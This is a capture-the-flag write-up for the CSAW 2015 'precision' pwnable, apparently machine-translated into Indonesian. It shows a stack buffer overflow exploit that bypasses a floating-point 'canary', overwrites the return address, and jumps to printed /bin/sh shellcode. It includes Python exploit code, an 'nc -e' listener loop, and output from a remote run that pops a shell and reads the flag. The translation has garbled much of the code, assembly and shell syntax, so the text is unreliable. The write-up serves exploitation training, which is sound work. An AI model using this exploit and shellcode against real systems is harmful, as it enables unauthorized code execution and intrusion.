CSAW2015 quals precision exploit 100

chmood
Masalah

berjalan pada:
nc 54.173.98.115 1259


Pwnable Exploit ada-sumber biner yang disediakan


Solusi
OK ... jadi pertama-tama pengaturan debugging, dapatkan -a readelf dan objdump -d pada biner

Setup salinan lokal dari server menggunakan sederhana nc shell lingkaran sehingga dapat melampirkan gdb dengan mudah

#! / bin / sh
sementara benar; do nc -l -p 1337 -e ./precision; matang
Sekarang kita bisa

$ nc localhost 1337

#and di terminal lain
$ ps ax | grep presisi $
$ gdb ./precision p
Sekarang kita siap untuk sedikit Python untuk menghubungkan dan kemudian melampirkan memproses setelah koneksi dimulai tapi sebelum kita berinteraksi dengan layanan - yang membuat debugging posible - jauh lebih mudah daripada Analisis hanya statis.

Ketika program tantangan dimulai, itu output pesan

Buff: 0xff900018

dan kemudian menunggu masukan ..

Jadi melihat output assembler objdump, saya melihat kode ini, yang saya komentar.

Β 804856f: 8d 44 24 18 lea 0x18 (% esp),% eax
Β 8048573: 89 44 24 04 mov eax%, 0x4 (% esp)
Β 8048577: c7 04 24 82 86 04 08 movl $ 0x8048682, (esp%) # "% s"
Β 804857e: e8 8d fe ff ff panggilan 8.048.410 <__ isoc99_scanf @ plt> # kita di sini untuk input
Β 8048583: dd 84 24 98 00 00 00 fldl 0x98 (% esp)
Β 804858a: dd 05 90 86 04 08 fldl 0x8048690 # memiliki 0x475a31a5
Β 8048590: df E9 fucomip% st (1),% st
Β 8048592: hh d8 fstp% st (0)
Β 8048594: 7a 13 jp 80485a9
Β 8048596: dd 84 24 98 00 00 00 fldl 0x98 (% esp)
Β 804859d: dd 05 90 86 04 08 fldl 0x8048690
Β 80485a3: df E9 fucomip% st (1),% st
Β 80485a5: hh d8 fstp% st (0)
Β 80485a7: 74 18 je 80485c1 # berikut ini 'kenari yang benar' setelah ditambal
Β 80485a9: c7 24 85 86 04 04 08 movl $ 0x8048685, (esp%) "Tidak"
Β 80485b0: e8 0b fe ff ff panggilan 80483c0 <menempatkan @ plt>
Β 80485b5: c7 24 01 00 04 00 00 movl $ 0x1, (% esp)
Β 80485bc: e8 1f fe ff ff panggilan 80483e0 <exit @ plt>

Β 80485c1: a1 30 a0 04 08 mov 0x804a030,% eax "Got% s \ n"
Β 80485c6: 8d 54 24 18 lea 0x18 (% esp),% edx # penyangga alamat awal
Β 80485ca: 89 54 24 04 mov edx%, 0x4 (% esp)
Β 80485ce: 89 04 24 mov eax%, (% esp)
Β 80485d1: e8 da fd ff ff memanggil 80483b0 <printf @ plt>
Β 80485d6: C9 meninggalkan
Β 80485d7: c3 ret # pulang tanpa kondom
Sepertinya pasangan fldl yang digunakan untuk membandingkan sesuatu dari input dengan nilai tetap.

Kami hanya perlu memastikan input memiliki konten yang sama seperti [0x8048690] yang 0x475a31a5
Yang akan membawa kita ke 'benar kenari' jalan (kenari di Quotes, karena tidak benar-benar burung kenari ... tetapi berperan bahwa di sini ...)

Jadi tujuan kami adalah untuk mendapatkan kembali terlindungi ... ada tumpukan kenari sebenarnya perlu khawatir.

Upaya pertama gagal tes 'kenari'.
Tapi itu karena fldl adalah quadword tidak doubleword a.

Menempatkan byte [dd 05 90 86 04 08] ke ODA https://www.onlinedisassembler.com/odaweb/ membuatnya menjadi lebih jelas
ODA menterjemahkan ini sebagai Field QWORD PTR [esp + 0x98]
Jadi 8 byte data

Jadi mencari lagi di gdb kita perlu garis kenari kode menjadi:

Β  Β PWN + = "\ xa5 \ x31 \ x5a \ x47 \ X55 \ x15 \ x50 \ X40" floating # titik kenari ...
Sekarang bekerja dan kami bisa melewati cek kenari.

Kita perlu melihat berapa banyak lebih banyak data untuk mengirim setelah 'kenari', untuk mendapatkan menimpa alamat pengirim.
Kita tahu itu akan terjadi karena buffer input pada stack, sehingga adalah alamat pengirim ...

Di gdb kita dapat melihat alamat pengirim di stack.

x / 64xw 0xff9c4338
0xff9c4338: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4348: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4358: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4368: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4378: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4388: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c4398: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c43a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xff9c43b8: 0x43434242 0x45454444 [0x08048500] # <- [] alamat ini kembali
shellcode dapat dimuat pada awal buffer, beberapa padding untuk sampai ke kenari, lebih padding dan akhirnya alamat pengirim.

Sedikit akhir dari coding diperlukan untuk mengurai pesan startup yang memberitahu kita lokasi buffer - dikonfirmasi menggunakan gdb, yang mana shellcode akan dan karenanya alamat yang kita akan kembali Buff: 0xff900018 misalnya.

Eksploitasi coding waktu:

Β  Β r = GetResponse ()
Β  Β cetak r # ini memiliki alamat penyangga kami
Β  Β menjatuhkan, tetap = r.split ("Buff: 0x")
Β  Β # Pertukaran byte urutan sekitar, string "ff9c4338" harus menjadi "\ X38 \ x43 \ x9c \ xff" misalnya
Β  Β tetap menjaga = [6: 8] + tetap [4: 6] + menjaga [2: 4] + menjaga [: 2]
Β  Β buffaddressbinary = keep.decode ("hex")
Β  Β mencetak "penyangga ditemukan di% 08x" + buffaddressbinary
Β  Β shell = GetShellcode ()
Β  Β PWN = shell
Β  Β padding_length = 128 - len (shell)
Β  Β print "% i bantalan byte yang diperlukan"% padding_length
Β  Β PWN + = "A" * padding_length
Β  Β PWN + = "\ xa5 \ x31 \ x5a \ x47" floating # titik kenari ...
Β  Β PWN + = "A" * 0xc # rekening untuk CUTI (mov ESP, EBP: EBP pop)
Β  Β PWN + = buffaddressbinary # shellcode dimulai pada awal penyangga
Β  Β PWN + = "\ n"
Β  Β s.send (PWN)
Β  Β r = GetResponse ()
Β  Β cetak r
Jadi pertama-tama tes secara lokal

./pwnserver.py
Β untuk melanjutkan setelah Anda melampirkan debugger
Buff: 0xff900018

penyangga ditemukan di% 08x?
Shellcode = [31c9f7e151682f2f7368682f62696e89e3b0b0c0e804cd80]
panjang shellcode = 24
104 Padding byte diperlukan
Punya 1 Qh//shh/bin γ°° ?Ν€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1ZGU?P@AAAAAAAAAAAA?

ls
asm.asm
asm.asm ~
challenge.txt
peda-sesi-precision.txt
ketelitian
precision.readelf
precision.readelf ~
precision.strings
pwnserver.py
pwnserver.py ~
runserve.sh
runserve.sh ~
sam.py
sam.py ~
OK dan menjalankannya dari jarak jauh untuk mendapatkan bendera ... atau shell setidaknya

./pwnserver.py
Buff: 0xffeeb118

penyangga ditemukan di% 08x?
Shellcode = [31c9f7e151682f2f7368682f62696e89e3b0b0c0e804cd80]
panjang shellcode = 24
104 Padding byte diperlukan
Punya 1 Qh//shh/bin γ°° ?Ν€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1ZGU?P@AAAAAAAAAAAA?Β 

ls
Mastho_a_une_petite_bite
No_problemo
dystopiannarwhalswashere
bendera
precision_a8f6f0590c177948fe06c76a1831e650
ini lebih menyebalkan daripada seharusnya
kucing flaeg
Bendera kucing
Bendera {} 1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r
! Bendera {} 1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r
Special family T.I Sniper

Komentar